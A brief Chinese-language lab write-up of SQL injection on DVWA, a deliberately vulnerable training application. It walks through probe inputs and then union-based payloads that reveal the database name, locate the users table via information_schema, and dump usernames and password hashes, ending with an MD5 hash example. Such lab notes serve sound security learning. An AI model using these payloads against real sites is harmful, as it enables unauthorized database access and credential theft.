DVWA之SQL Injection

1.首先，我们发现有个输入框，判断是否存在注入点

输入1：

输入1':

输入1 and 1=1:

输入1 and 1=2:

 

2:猜测sql语句：

3：爆破：

首先爆库：1' union select 1,database()

备注：union的使用条件：

猜测会有一张users表

爆users表的列：

1' union select 1,table_name from information_schema.tables where table_name='users'#

爆破user和password字段内容：

1' union select 1,concat(user,password) from users#

密文为md5加密，以

81dc9bdb52d04dc20036dbd8313ed055为例：